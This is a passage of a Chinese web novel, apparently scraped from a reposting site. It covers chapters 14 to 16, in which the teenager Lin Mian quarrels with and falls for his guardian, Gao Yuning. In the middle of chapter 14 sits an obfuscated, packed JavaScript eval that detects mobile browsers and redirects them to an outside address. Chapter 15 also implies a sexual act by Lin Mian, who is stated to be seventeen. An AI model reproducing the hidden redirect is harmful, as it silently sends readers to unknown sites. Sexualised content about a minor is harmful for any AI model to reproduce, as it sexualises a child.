林缅的笑脸瞬间僵住了。哦,就是那场考得奇烂的一模。林缅假装没听见,赶紧低下头扒拉意面。 另一个同事看到林缅沙发上的头盔,眼睛亮了,“刚刚外面那个骑摩托的就是你呀,很帅诶。” 感觉到郜屿宁的目光不轻不重地落在他身上,林缅又立马如芒在背了。 他敷衍着笑了笑,又埋下头继续吃饭。不知道骑个摩托车有什么大不了的,郜屿宁也经常骑啊,一个个都大惊小怪的。 林缅用叉子插着盘里剩下的几根意面,卷成卷,又抖下来,又卷成卷,又要抖下来。 开始玩剩下的食物就是他已经饱了的潜意识行为。 “吃完了?”沉默了很久的郜屿宁开口。 林缅抬头看向他,点了点头,把嘴里最后一口面咽了下。 郜屿宁把自己的柠檬水推到他面前,林缅低下头凑过去,直接抿着吸管喝了一口。 正准备抱着头盔起身,听见郜屿宁说,“擦嘴。” “嗯。”林缅接过纸巾擦了擦嘴,情绪不高但还记得朝对面的两位礼貌地打了个招呼,“我们走了,你们慢吃。” 对面两位已经看愣住了,木木地点头。透过餐厅的透明玻璃,他俩看着林缅抱着头盔亦步亦趋地跟在郜屿宁的身后,看样子乖顺极了。 另一位同事说,“这哪是弟弟啊,这不是小狗吗?” “这是哥哥吗…这是主人吧。”何琰南激动地拍大腿,“郜助也太帅了…想谈…” 14. 第 14 章 “钥匙给我,打车回去。” 两人站定在摩托车边,郜屿宁不容置喙地说道。 “干嘛,我不要。”林缅把头盔抱到腰侧,皱着眉反驳。 郜屿宁没有说话,微微抬着下巴,目光直白地落在他脸上,情绪溢于言表的不悦。 林缅继续闷闷不乐地说道,“你凭什么不让我骑啊,我都有驾照了。” “想让我报警抓偷车贼是吧?” 不等林缅找理由反驳,郜屿宁就捏着他的肩膀朝路边走去,抬手拦了一辆出租车。 心虚的林缅小声说,“干嘛那么小气…” 郜屿宁看了他一眼,林缅又立刻噤了声,不情不愿地交出钥匙和头盔。 出租车稳稳停在他们面前,郜屿宁打开车门把脸快垮到地上的林缅塞了进去,再弯腰向师傅报了家里的地址。 林缅还要说什么,郜屿宁指着他鼻子,厉声道,“闭嘴,回去收拾你。” 出租车向前滑行,林缅故意不看窗外的人影,觉得委屈至极,梗着脖子只留给他一个冷漠的后脑勺。 等到正式驶入主路,林缅才擦了把眼泪,跟师傅报了个ktv的名字换了方向。 司机师傅扫了后视镜好几眼,“看你也是个大孩子了,你哥管你还这么严呐?” 林缅吸了吸鼻子,望着窗外,随口应,“嗯…” “嗨…你哥呀,就是工作压力大,拿你撒气呢…”师傅粗着嗓子说道,一副中年男人喜欢妄下定论的做派。 林缅的视线从窗外缓缓移到驾驶座椅露出来的那半个脑门上,看见后视镜里他嘲弄的嘴脸。 “你说什么呢?”林缅不敢置信地问。 师傅笑了一声,想着和小乘客套近乎,继续说,“一看你哥就没结婚生孩子呢,等他有了自己的家庭就懒得处处管着你了,到时候你就自由喽。” 越说越没边,要不是在车上林缅肯定直接跳起来挥拳头了,“你胡说八道什么?我哥对我很好的!才不是拿我撒气呢!” 师傅本想继续打趣,但看见林缅像急眼的小狗一样,恶狠狠地盯着他,自知弄巧成拙地撇了撇嘴,低声说,“还不信…” “还说!再说我投诉你了!”林缅睁圆了眼睛,眉毛拧在一起。 司机师傅这才彻底闭嘴,脸上还带着“你以后就知道了”的意味。 下车时,林缅还不忘狠狠地剜他一眼,关门的动静巴不得把车玻璃震碎了。 林缅跟着服务生走到他们的包厢,陈汋他们早就到了,看林缅姗姗来迟又闷闷不乐的样子就知道有情况。 “怎么了这是?”陈汋问。 林缅朝沙发上一倚,摆了摆手,“没什么,就是路上碰到了个脑残司机。” 陈汋瞪大眼睛,“你跟人家在路上碰了?” 林缅顿了一下,看着紧张的几人,才反应过来他们以为林缅骑摩托新手上路出事故了,解释道,“不是,我打车来的。” 陈汋松了口气,“哦,没事儿就好。”又跟池景行凑到角落里玩去了。 “不是说要闪亮登场吗?”徐语常揶揄。 林缅身上还冒着室外的热气,猛灌了一口冰果汁,才回答道,“我哥把车没收了。” 只顾着生那个司机的气,早就把这件事情抛到脑后了。 提起这一茬,先前在郜屿宁面前的义正严辞全都消失了,反倒开始惆怅回去该怎么认错让他哥消气了。 “那不正好,不用骑车,可以喝酒啦。”徐语常的超长杏仁甲敲在啤酒瓶上,发出清脆的声音。 林缅想也没想地就拒绝,“算了,晚上我哥肯定又要说我,本来就生我气呢…” “不是吧,哪来的乖宝宝啊,陈汋都允许小行喝酒了,你还这么听话?” 徐语常继续问,“抽烟呢?” “不抽,我哥不让。” “张口闭口你哥你哥的,你跑这儿来炫耀你是哥控来了?”徐语常无语地说。 林缅也才意识到自己三句话不离郜屿宁,这是常态了。他不自然地抿了抿嘴唇。 他抬头看了眼旁边沙发上腻腻歪歪的两个人,两个人都拿着麦克风没一个在好好唱歌。 林缅收回视线,脑海中突然想起之前在网吧得知他俩在谈恋爱时徐语常说过的一句话,他摸了摸鼻尖,凑过去问道,“我记得你之前说过,陈汋管小行不是管弟弟的管法,是什么意思?” 徐语常随着他的视线看过去又扭过头来,聊起八卦徐语常的表情也精彩起来,“你看不出来?是在管老婆呀!” 林缅迟钝地抬起一侧的眉毛,盯着她,等她继续说下去。 徐语常有理有据地给他分析,“你看啊,小行跟前桌女生说话借块橡皮,陈汋都要记仇好几天,醋劲大得不行。” 他清了清嗓子,身子前倾,手肘撑在膝盖上,掩饰自己的不自在。 下意识地开始拿郜屿宁和自己的相处模式和“管老婆”的模式作对比。 但林缅莫名感觉胸口像挨了一记闷拳。 发现郜屿宁还偶尔会用追女生、谈恋爱之类的事情打趣他,好像一点也没有这种对喜欢的人的占有欲。 “陈汋还粘人得要命,跟长在小行身上一样。你还记得吗?上次小行生日,愣是被陈汋弄得像他俩的官宣仪式。” 郜屿宁一点都不粘他,倒是林缅黏郜屿宁黏得跟块小熊软糖似的,动不动消息轰炸、万事都以郜屿宁的意见为先。 “陈汋看着独断专横,不允许这不允许那的,其实都是在无理取闹,引起老婆注意力呢。” 林缅才是总无理取闹的那个,总给郜屿宁添麻烦、惹他烦心。初中打架进医院让郜屿宁在病房里守了三天三夜,闯了祸让他三更半夜来警局接人… 郜屿宁会像喜欢老婆一样喜欢他才怪呢。 “你见过把弟弟从头到脚都包办到位的哥哥吗?小到穿衣吃饭,大到人生规划?” 这倒是见过。 终于有郜屿宁符合的一点了,连林缅现在身上穿的内裤都是郜屿宁帮他买的,当然能顺利参加高考郜屿宁也费尽了心血。 可现在想来,这分明就是管弟弟!管小狗! 不允许他抽烟喝酒就是在管弟弟,不允许他骑摩托车也是,就连一开始不同意让他留在国内也是。 林缅感觉眼皮重重的,他垂下眼睛,心事也重重的。 一想到可能真如那个臭司机所言,未来可能会有一位陌生的女人完全占据郜屿宁的身心,林缅就觉得心脏被剜掉了一块般的可怖和空虚。 “当然啦,也不是所有情侣都这样的…” 徐语常还在分析,但林缅脑袋上就像戴了个真空的玻璃罩,完全听不进她在说什么。 一旁的手机突然响了,林缅回过神来,屏幕显示是郜屿宁打来的电话。 他扫了眼时间,郜屿宁应该已经下班了。 他接起电话,对面传来冷厉的声音,夹杂着冰冷的电流声,“人呢?” 又来了!又把他当弟弟!当小狗!讨厌死了! 林缅吸了一口气,也低着声音回答, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990812|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我晚上自己回来。” 听筒里只剩下忙音。对面利落地直接挂断了。 林缅恼羞成怒地把手机摔在桌上,徐语常吓了一跳,“你怎么了?” “我要喝酒。”林缅眼中噙着眼泪,委屈地说。 林缅起身拿起一瓶啤酒,本想猛猛灌入口中,但是动静太大,啤酒混着白沫全顺着他的下巴滴到衣服身上了,只有舌尖尝到了个味道,倒是身上被酒味醺透了。 林缅讪讪地把酒瓶放回桌上,连借酒消愁的兴致都没了。 聚会结束,林缅回家已经接近十点钟,自从下午那个电话之后,郜屿宁没有再找过他。 屋内的光亮从猫眼里透出来,林缅熟捻地摁开密码锁,在门口换鞋。 扫了眼坐在餐桌旁看电脑的人,闷闷地喊了声,“哥。” 郜屿宁没有应他,镜片上映出电脑屏幕的光亮。 林缅径直走向房间,准备拿洗澡换洗的衣物,经过餐桌边,郜屿宁皱着眉,抬头看他,“你喝酒了?” 林缅也就喝了那一口,散发的酒味只是因为泼到身上了而已,他却承认了,“嗯。” 郜屿宁看了眼他还算正常的面色,收回视线,嘴上叮嘱,“别跟什么人都瞎喝,注意点安全。” 林缅突然觉得胸口那记闷拳带来的钝钝的痛感在渐渐扩大。为什么郜屿宁不说以后不许喝酒,不允许和别人喝。 因为在郜屿宁眼里他就只是弟弟而已,可以和别人喝酒,当然也可以和别人谈恋爱。猜测到这里林缅的心绪缠得更乱。 郜屿宁收回视线,重新看向电脑,面不改色地继续说,“去洗澡,洗完了我有事儿跟你说。” 林缅站定在他面前,抿直了嘴唇,“说什么?” 郜屿宁直接合上电脑,向后倚靠在椅背上,开诚布公,“为什么偷偷考驾照骑摩托没跟我说?” 林缅胸口起伏了一下,态度烦躁地回答,“不想说。” “不想说是什么意思?”郜屿宁蹙着眉问。 林缅把视线从郜屿宁身上移开,拧巴又倔强地沉默着。 “你在家那么多天,你爸知道了吗?”郜屿宁问。 “又提他。”林缅烦躁至极,看着郜屿宁,不耐烦地吼道,“能不能别一有事儿就提我爸!每次都用我爸来压我,老是用一副公事公办的态度。” 郜屿宁顿了一下,情绪也起伏起来,“林缅,你想让我什么态度?莫名其妙发什么脾气?” 积压的情绪像是洪水一样倾泻,“我哪里莫名其妙了!明明就是你嫌我麻烦还装模作样的!你要是不想管我,就别管我了,烦死了!” 林缅声泪俱下,情绪激动时又开始口不择言,“你又不是真的关心我!高考也是,我想骑摩托也是,你不就是怕不好跟我爸交代嘛!假惺惺的!” 安静的客厅里只剩下林缅断断续续的抽泣,他抬起手臂抹了一把眼泪。 郜屿宁眉眼微动,视线落在林缅固执的表情上。林缅一胡闹起来就喜欢口无遮拦,他是知道的。 “你又开始了是吧?”郜屿宁把黑框眼镜不轻不重地扔在桌上,神色晦暗。 林缅擦了把眼睛,拧过头,“用不着你管。” 郜屿宁松开抿得有些失去血色的嘴唇,表情如常地听他把一通胡话说完,不紧不慢地开口。 “行,林缅,觉得我多管闲事了?正好你亲哥要回来了,你不是说早就嫌我烦了吗,以后不用再被我管着了,你能脱离苦海了。” “你心里就是这样想的对吧?” 15. 第 15 章 林缅的眼神有一瞬的凝滞,木愣着移向郜屿宁的脸上。 那种钝痛感弥漫到整个胸腔。 “怎么样?我说这种话你心里好受吗?”郜屿宁直白地看着他,问。 林缅摇了摇头,瞬间蔫了下去,低声回答,“不好受。” 郜屿宁胸口起伏了一下,语气却平缓,淡淡地吐出,“可是林缅,这样的话你对我说过很多次。” 说郜屿宁肯定巴不得他死在手术室里、说郜屿宁觉得他是拖油瓶、说郜屿宁根本不是真心要他好、说郜屿宁对他好只是因为林佑勤是他的老板… 林缅在嫌弃郜屿宁对他的好、给他的爱都不是给爱人的那一份,就出口伤人地推开。 可是不管是弟弟,是小狗,还是爱人,郜屿宁明明都已经把他当成很重要的人了。 林缅再没良心都应该知道的。 林缅后知后觉胸口的钝痛消失了,但是有一双手在紧紧攥着他的心脏,他从郜屿宁平静如常的表情里看出了失望和裂痕。 自知做错事说错话的林缅吸了吸鼻子,蹲到郜屿宁的面前,抬起眼睛,“哥,我知道错了…” 林缅的眼睛依旧红着,身上散发着淡淡酒味,倒真像是喝多了,虽然较之前晒黑了一些,但黑色小卷毛还是衬得他很白,可怜巴巴地抬头盯着他。 郜屿宁别开眼睛。 “哥,你看看我嘛…”林缅捧住郜屿宁的脸面对自己,摆定了之后,还挤出个勉强的笑脸,“我保证以后一定好好听你的话,再也不乱发脾气了…” 郜屿宁的眼神难以窥见一丝情绪,但却是在实打实地郁闷,他并不觉得自己过分骄纵了林缅,可脾气确实任性了些,但又看不得林缅这样低声下气和可怜讨好的模样,即便是对他自己,也觉得痛心。 郜屿宁嘴唇微张,“第几次了?” “最后一次啦!”林缅眯着眼睛,眼泪从眼角流下来。 在林缅发现自己连弟弟或者小狗的那份好都有可能被郜屿宁收回的时候,甚至可能变成形同陌路、生分疏远的老板助理和小少爷,他只能长教训地攥紧自己已有的。 林缅抱住郜屿宁,喃喃地说,“哥你别不管我…我只有你了,你知道的。” “我以后绝对不会再乱说话了,哥。我知道在你心里我也很重要,你对我很好很好,就跟亲弟弟一样。” 郜屿宁扯了扯嘴角,轻笑道,“我对我亲弟弟可不好。”又握住林缅的手臂,把他从地上拽起来。 林缅跨坐到他的腿上,看着他已经恢复如常的眼睛,还有抬起的嘴角。 “你也不许说刚刚那些话。”那些什么等林准回来就会跟他疏远的胡话。 郜屿宁眼睛轻轻闭了一下,表示答应,扭过头轻咳了一声,扯着嘴角,补充,“你想留在哪里,都凭你高兴。” 林缅眼睛又红起来,答案并不让他满意,“又怎么了?”只是郜屿宁没看懂,揽住他的腰以防他掉下去,身子前倾抽了张桌上的纸巾。 “没什么。”林缅嘴上失落地回应着,但很快眼泪就把郜屿宁手上的纸巾浸湿了。 郜屿宁又抽了张纸,帮他擦了眼泪,打趣他,“小没良心的,说话那么伤人,我还没哭呢,你倒先哭上了?” “我都承认错误了…”林缅低着眼睛,小声说。 “知道,没放在心上。”郜屿宁声音也轻了很多,认真地帮他把脸上的眼泪擦干净,连鼻子也被擦得红红的,“擦疼了吗?” 林缅摇了摇头,双臂搂住郜屿宁的脖子,脑袋也紧紧靠着。 郜屿宁抬手把纸巾扔到桌上,一只手揽着林缅的腰,另一只手摸着他的背,“好了,赶紧洗澡去,臭死了,一身酒味儿。” 林缅想起中午回来收拾行李时看到自己房间的床上用品都已经换洗过了,他把头抬起来,“我自己睡吗?” 郜屿宁促狭一笑,“不然呢?” 林缅脸又要皱起来,郜屿宁立马伸出食指指着他,压平了嘴角,故作严肃地冷声,“不许哭。” 林缅条件反射地噤声,听话地从郜屿宁的身上下来收拾东西去洗澡。 - 第二天一向喜欢睡懒觉的林缅还是一听见门外的动静就爬起来了。 郜屿宁正在卫生间里收拾,看着镜子里靠在门框上还眯着眼睛没完全清醒的林缅,笑着说,“眼睛都肿成核桃了。” 郜屿宁拿起林缅的牙刷挤上牙膏,不等林缅迟钝地抬手,郜屿宁直接掐着他的脸塞进他的嘴里,林缅没反应过来“唔”了一声,嘴里的薄荷味道让他清醒了大半。 林缅不知道是在发愣还是沉浸在昨天的情绪里,整个人闷闷的。吃早饭的时候,郜屿宁扫了他一眼,“怎么了?” 林缅的视线从窗外的晴光万丈收了回来,啃了一小口手里的包子,借口说,“没什么,今天要查成绩了…有点紧张…” 其实昨天闹了一通,他都差点忘记今天是出高考成绩的重要日子。 “嗯,晚上八点?今天应该不加班。”郜屿宁打开手机看了眼日程表。 “好…”林缅继续小口啃着包子。 “你之前不是要和朋友去旅行?大概什么时候去?” “嗯,就我们四个…填完志愿吧…”林缅兴致缺缺,有点低沉地说,“徐语常要出国上学了,所以可能以后大家都有时间的机会很少了…” 郜屿宁拿纸巾的手顿了一下,问道,“徐语常要出国?” 林缅抬起眼睛,看向郜屿宁,看见他眼里闪过一丝的诧异,抿着嘴唇问,“怎么啦…” 郜屿宁本以为林缅是因为和徐语常在谈恋爱才为了她留在国内的,但现在看来是他猜错了。 他有些不自然地轻咳了一声,但很快神色如常,回答,“没什么。” “哦…”林缅微微怔住,又垂下头说。 郜屿宁很少会问关于别人的事情,这在林缅看来也很反常。 林缅看着手里的包子,本来就没胃口,现在更是食之无味,“不想吃了…” “怎么了?”郜屿宁起身把西装穿上。 “豆沙太甜了。”林缅递到郜屿宁面前。 “豆沙是突然甜的吗?”郜屿宁看了他一眼,低下头顺着他的牙印咬了一口,“还是同一家,以前那么多狗吃的?” 被打趣林缅也没有急眼,沉默地把手里的包装袋收拾好。 “你不是会紧张成这样的人,有心事?” 林缅皱起眉,低头摆弄手里的包装纸,揉得哗哗作响,嘟囔着,“就是没胃口。” 见林缅不想多说,郜屿宁也没再逼问,起身后用指关节轻轻叩了叩桌子。 林缅条件反射地抬头。 看了眼郜屿宁穿得是一套深蓝色西装,宽肩窄腰,身姿挺阔,内衬的领子却没有理好,依旧敞着,露出一片青筋骨骼明显的皮肤。郜屿宁微微抬起下巴,挑着眉看着他。 一向都是林缅帮他拿领带的。 林缅会意,放下手里的东西,走进郜屿宁房间,熟门熟路地打开他收纳领带的抽屉,拎着两条跟今天的西装的最配的领带出来了。 “哪条?”林缅手里一条酒红色蓝条纹,一条和西装同色系的深蓝色领带,在空中轻轻晃了晃。 “蓝的吧。”郜屿宁视线从手机上移开。 林缅走过去,郜屿宁伸手要接,林缅却把手躲开了,仰着头把郜屿宁的衬衫领子理好,把领带认真系好,轻声说,“路上小心,早点回来,哥。” 两人离得很近,林缅看见郜屿宁的喉结滚了一下,应了一声。 “有事不想说我也不逼你。”郜屿宁只当他今天的情绪反常是因为要查高考成绩了,抬手蹭了一下他的脸,语气认真,“但是别紧张了,考不好也没那么严重。” “知道。”林缅顺应着点了点头,手里机械地玩弄着另一条郜屿宁没有选中的领带,缠在手掌上又松开,又缠上。 把郜屿宁送出门,防盗门彻底落锁,客厅陷入寂静,林缅的情绪被彻底撕开一个口子。 他跑回房间,倒在床上,眼泪擦完又落下来,好像永远流不完一样,把那条领带都洇湿成更深的颜色。 脑子里一片混乱,把所有乱七八糟的想法编排成了一个完整又有些荒唐的猜想:郜屿宁是不是喜欢徐语常。 为什么那天成人礼徐语常上台讲话的时候,郜屿宁看得那么认真?为什么郜屿宁得知徐语常要出国之后表情闪过一丝异样? 再离谱再不敢置信,这样的情绪下,他也把自己哄得越来越笃定。 郜 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被扔在远处的手机突然响了,他慢慢吞吞地去够手机,是郜屿宁打来的电话。 “喂,哥?”林缅清了清嗓子开口,但还是有些嘶哑。 “在干什么呢?”郜屿宁的声音像在一个不大的空间里。 郜屿宁的嗓音带着电流声,一鼓一鼓敲着他的耳膜。 …………… “看电视呢…哥。”林缅回答,但把平板踹远了一点。 用脑袋和肩膀夹着手机,空出手去拿那条领带,松松地缠了上去……… “又在看假面骑士?” “嗯,差不多…”都是日本的,确实差不太多。 林缅尽量保持声音的平稳,但是尾音还是忍不住发虚。 “没事儿的话去我房间帮我拿份文件送下来,我就不上来了。” 林缅仰起头,轻轻嗯了一声,沉默着感受。 …………… “林缅?”郜屿宁的声音又在耳朵边响起。 “哥哥…” “身体不舒服?”对面顿了一下,似乎听出他声音有些虚力。 …………… 林缅缓缓睁开眼睛。 “没有…” 林缅坐起身。 “哥你等一下。”吸了口气说道。 他终于确定自己也不是同性恋,他只喜欢郜屿宁。 红色的布料已经被洇湿。 他把带着污渍的领带随意地团成团丢进床底,把平板随便扣上踢到一边。 差不多收拾了一下,便下楼给郜屿宁送了个资料,回来之后也一直心不在焉、浑浑噩噩的。 脑海中回放着,液体缓缓从领带下面流出来的画面。 晚上八点是出成绩的时间,林缅躺在沙发上刷新手机页面。 郜屿宁洗完澡走出浴室,随手把眼镜带上,脖子上挂着条毛巾,走到沙发边拍了拍林缅的脚,“成绩出来了吗?” 林缅视线一直盯在手机屏幕上,摇了摇头,收起脚从沙发上坐了起来,等郜屿宁坐下来之后,他又换了个头,脑袋枕在郜屿宁的腿上。 郜屿宁微微歪着头,看了眼林缅手机屏幕,只有一个正在加载的标识。 郜屿宁的头发只是吹个半干,几撮额前的碎发凝出水珠,打在了林缅的额头上。 林缅的视线移到郜屿宁的脸上,从这个角度看这张脸也帅得依旧无可挑剔,他后知后觉这个角度好暧昧,就像在… “我去拿平板试一下?”郜屿宁拍了拍林缅的脸蛋。 愣怔着的林缅回过神来,把头从郜屿宁的腿上抬起来,“在房间里。” 郜屿宁起身进了他房间,拿着平板出来,“密码没变?” “嗯。”林缅把蹭乱的头发往下压了压,看见郜屿宁的脸被屏幕照亮。 郜屿宁的镜片上反光着屏幕上的内容,林缅像是突然想起什么似的起身冲了过去,“等一下!” 但是为时已晚,几乎在同一时间,安静了两秒的客厅里开始回荡.银.乱.的喘.叫。 16. 第 16 章 林缅抢过平板手忙脚乱地把后台软件都滑掉。喘叫声戛然而止,客厅陷入一片诡异的安静。 郜屿宁偏过头,脑子里还在消化刚刚眼睛看到的内容。两具.赤.裸.的男.性.身.体.交.叠在一起。 最重要的是在林缅的浏览器上看到的。 林缅感觉自己脸烧起来了,抱着平板坐回沙发上,强装镇定地打开干净的浏览器页面输入网址和考生信息。 郜屿宁看向沙发上那个巴不得把脑袋藏到地下去的人,输信息的时候输了好几次都输错了,他别回头轻咳了一声,也坐了过来。 少见的,他突然不知道自己该说什么。即便他已经在尽力戒烟了,但这种时刻他还是下意识地摸了摸裤兜想要掏烟,才发现自己穿得是睡裤。 林缅捕捉他的不自在,再抬眼时眼睛已经红了,别扭地说道,“我是喜欢男的,又不是喜欢你,有什么可为难的。” 郜屿宁舔了舔有些发涩的下唇,只以为他是最近意识到自己的性向,为之烦恼,问道,“你最近是因为这个情绪不好?” 林缅低下头,在屏幕上胡乱地点来点去。 郜屿宁接过他怀里的平板,放到茶几上,沉了沉气。 林缅对着空荡荡的双手发呆,又抬手抹了一把眼睛,沉默下来。 郜屿宁轻叹一口气,抽了张纸低下头给他擦眼泪,“算了,不想说不说了。” 林缅吸了吸鼻子,反倒撕开了个口子,若是直接这样糊弄过去不知道两人还有多少不自在。 他呼出一口气,假装认真地坦白,“不是,我有喜欢的人,只是…只是,不太能在一起而已。” “嗯?”郜屿宁抽纸巾的手在空中顿了一下。 林缅抬起眼皮,自顾自地编造,“他在国外…” 郜屿宁问,“那你为什么又不肯出国?”林缅当初为了留在国内可是闹出了要死要活的架势。 林缅脑子里快速地找补,轻描淡写道,“那他不是要回来了嘛?而且也不知道他喜不喜欢男的…” 理直气壮地胡编乱造了一通根本不存在的人物,林缅又微微抬起眼皮,眼睛还红着,声音小了起来,“哥,你会不会因为这个就不想理我了?” 好像前面说那么多,就只是为了铺垫这一句。 “为什么这么想?”郜屿宁微怔。 林缅吸了一口气,看着郜屿宁,“因为我是同性恋,你怕我会喜欢上你。” 郜屿宁笑了一声,“我这么想是不是太自恋了一点?” 未等郜屿宁说完,林缅身子前倾,用脑袋在郜屿宁的胸口顶了两下,“我说认真的。” 郜屿宁看着埋在胸前的脑袋,微微扯着嘴角,语气松缓下来,“我还说过你考不上江大就不理你了呢。你看我说不管你就能不管你吗?” “我说得不是这种…”但他很快又软了下来,声音有些娇气得发软,“我怕你以后不愿意抱我什么的…可是我们之前经常这样…” 郜屿宁抿住了嘴唇,没有回答。 正好平板上的小圆圈已经转完了,显示了林缅的成绩条。 在林缅背上抚摸的手又用力地搓了搓,郜屿宁看了一眼,对林缅抬了抬下巴,“成绩出来了,还不错。” 林缅的视线将信将疑地移到屏幕上,看到那个数字差点翻着白眼晕过去,“哪里不错啦!”脑袋又重重磕在郜屿宁的胸口。 其实成绩确实不错,只是距离往年江大的分数线还差了不少。 填报志愿就是接下来几天的事情,郜屿宁这几天自然也都在研究林缅的志愿。 倒是林缅向郜屿宁坦白自己的性向之后情绪变得明朗了很多,但也若有似无地越来越黏人。 郜屿宁问了林缅想去的城市、想去的学校、感兴趣的专业,除了得到小少爷强烈想要留在江市的要求,果然没有别的想法了。 提交志愿当晚,林缅躺在沙发上看郜屿宁给他选的志愿,感叹道,“哇塞,光电信息科学与工程!”字正腔圆的读出了这个名称冗长的专业。 郜屿宁抬起眉毛,“你感兴趣?” 林缅傻笑了一下,“不是啊,你不是就是这个专业的嘛,以后期末考试可以帮我复习了。” 郜屿宁无语地扫了他一眼,坐到沙发上。 “我明天要发给我爸看,让他老是看不起我,第一志愿可是江大呢。”林缅把脚跷到郜屿宁腿上,边说边激动地蹬了两脚。 “不知道的还以为录取通知书到门口了呢。”郜屿宁轻笑了一声,按住他乱动的脚,又说道,“我给你爸看过了。” 他象征性地给林佑勤看了林缅的志愿,林佑勤从不指望林缅能有什么大出息,果然只是匆匆扫了一眼说了几句老套的有的没的,就放一边去看文件了。 “他有没有在背后偷偷夸我有出息之类的?”林缅眨了眨眼睛。 郜屿宁被他逗笑了,岔开话题,“你哪儿有出息了?看到成绩就哭鼻子了。” “那我没想到今年卷子难,整体考得都不高嘛…你再笑我就不理你了!”林缅说着又要不安分地抽出脚乱动,但却动弹不了,就像被摁得死死的小虫,继续挣扎了两下却被郜屿宁嘲笑。 “怎么回事?一点劲儿都没有。”郜屿宁拽着他胳膊把他拉起来,捏了一把他的大臂,又摸了摸他的肚子,只有一层薄薄的肌肉,他掐了一把,林缅怕痒地叫起来,倒在了他身上。 林缅扭着身子,故意说,“你又不肯带我去健身。” 健身这一茬之前提都没提过,现在倒变成郜屿宁不肯带他去了。 郜屿宁知道他喜欢无事生非的本事,挑起眉头,顺着他说,“行,等你旅行回来别想逃,敢喊累看我怎么收拾你。” 之前四人组的旅行计划已经确定了,填报完志愿的第二天也就是明天就出发。 林缅脑袋埋在郜屿宁的颈窝里,摸着郜屿宁手臂上的肌肉,发出闷闷的声音,“才不会呢。” “但是我不想练得太大,你这样刚刚好,要是比你再小一点就最好了。”林缅坐直身子看向郜屿宁的胸口,隔着一层薄T恤内里起伏的轮廓还是若隐若现,他边把手掌贴了上去,边一本正经地说。 郜屿宁抬起嘴角,调笑着说,“你做梦呢?你想也练大也练不成。” “少看不起人了。”林缅手还不老实地继续摸着,“我就要练成你这样,还要去打个乳.钉,肯定很好看…”越说声音越低。 “你还挺时髦。”郜屿宁一巴掌拍在林缅的腿上,“行了,行李收拾怎么样了?收拾东西去。” “差不多了。”林缅放下腿,刚准备起身扫了眼准备回工作消息的郜屿宁,舔了舔干涩的嘴唇。 像是做了多大的心理建设,说道,“明天你送我去机场的时候,顺路去接一下徐语常呗。” 郜屿宁还是看着手机,漫不经心地应了一声,“嗯。”回完消息之后,看向林缅说,“我帮你看看行李。” 林缅看着郜屿宁的情绪并没有任何的异样,“哦…” 郜屿宁跟着他回了房间,看见摊开在地上的大行李箱。其实东西并不多,但是有四分之一的位置被一个碍事的皮箱子占着,郜屿宁轻轻踢了一脚,“这你也要带?” “哎呀…这是Faiz的变身器还有手办,我拍照要用的。”林缅护着箱子。 郜屿宁哼笑了一声,“你怎么不说你变身要用呢?” 又说道,“直接拿出来装袋子里,换个小箱子…” “不要,会嗑坏的,这都绝版了,很珍贵的。” “平时到处乱扔,现在倒宝贝起来了,这么大箱子,明天我可不帮你拎。”自从林缅把这些祖宗请回来之后,经常随手摆弄又随手扔,郜屿宁不知道帮他收拾过多少次。 “我自己拎得动。”林缅蹲下身,把东西都码整齐。 “护照什么的都收好了?”郜屿宁检查了一遍他的证件夹。 “嗯!” 晚上答应得好听,第二天还是郜屿宁帮他拖的行李箱。 把死沉的箱子拎进后备箱的时候,郜屿宁说道,“看你去了那儿自己怎么拿。” “我们包车了的,司机师傅会帮我拿。”林缅语气平平地说道,边说边往车前走,走到副驾驶犹豫了一下,还是上了后座。 郜屿宁上了车才发现人在后座,他看着后视镜和林缅对视,“哦,把我也当你司机了?” 林缅愣了一下,解释道, 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林缅慢悠悠地睁开眼睛,故意打了个哈欠,看似迟钝地开口,“谁装睡了?” 郜屿宁笑着说,“你睡相什么样我不知道?” 林缅紧张地瞪了他一眼,眼睛往后座飘了一下,“胡说什么呢?” 看着徐语常正好开门下车,没听见他俩的对话才稍稍安心。 两个人一起下车到了后备箱,徐语常虽然带了不少化妆品和衣服裙子,但胜在辣妹穿搭布料少而且都是夏季的,不占地方,一个26寸行李箱足够了。而林缅的东西又没用又碍事,箱子也比她的大和沉。 郜屿宁先把徐语常的箱子拎下来,不等郜屿宁放好来帮他拎箱子,林缅就赶紧凑上前,自己把箱子扛下来,沉得他往后踉跄了两步。 “呼…”林缅喘了口气,看着旁边盯着他的两人,若无其事地说,“走吧。” 徐语常接过自己箱子,视线才从行为异样的林缅身上收回来,林缅就喊了一句,“你帮徐语常推行李吧,我的很轻。” 徐语常回过头,“不用,我的是真轻。”说着就快人一步地推着轻飘飘的箱子加快脚步,往前走了,转了个弯就没影了。看样子是真不想掺合这哥俩的事儿。 郜屿宁伸手要帮林缅推行李,林缅却把箱子移到身子另一侧,“我自己好拿的,你去帮女孩子吧。” “什么时候这么要面子了?” 林缅轻叹了一口气,“不是…你…” 郜屿宁干脆不跟他掰扯,就两手空空地跟着他继续走,两人沉默着走了好一段距离,直到碰到航站楼门口的几级台阶,林缅搓了搓手心准备自己往上抗,箱子就先他一步被抬了起来。 林缅抬起头,看着郜屿宁已经推着他的箱子头也不回地往前走了,林缅加快脚步跟了上去,边说,“哥…我自己能拎动。” 走进航站楼,看到前面不远处徐语常已经和陈灼池景行他们会合了。郜屿宁拍了拍他的肩膀,“去吧,回来时间订好了告诉我。” 林缅点点头,“生日之前一定会回来的。”下个月就是林缅十八岁生日。 “嗯,我记得,会准备礼物。” 林缅朝徐语常的方向看了一眼,又小心翼翼地抬起眼睛看向郜屿宁,“你不去和徐…咳咳,他们 ,打个招呼吗?” 郜屿宁顿了一秒,抱起手臂,“林缅,你神神叨叨一上午发什么神经呢?” “不去算了!我走了!真是带不动你!”林缅怒其不争地说道。 那三人正好把视线都投了过来,林缅准备推着笨箱子去找他们,却被郜屿宁直接抓着手臂拽了回来,因为惯性用力地撞进了郜屿宁的怀里。 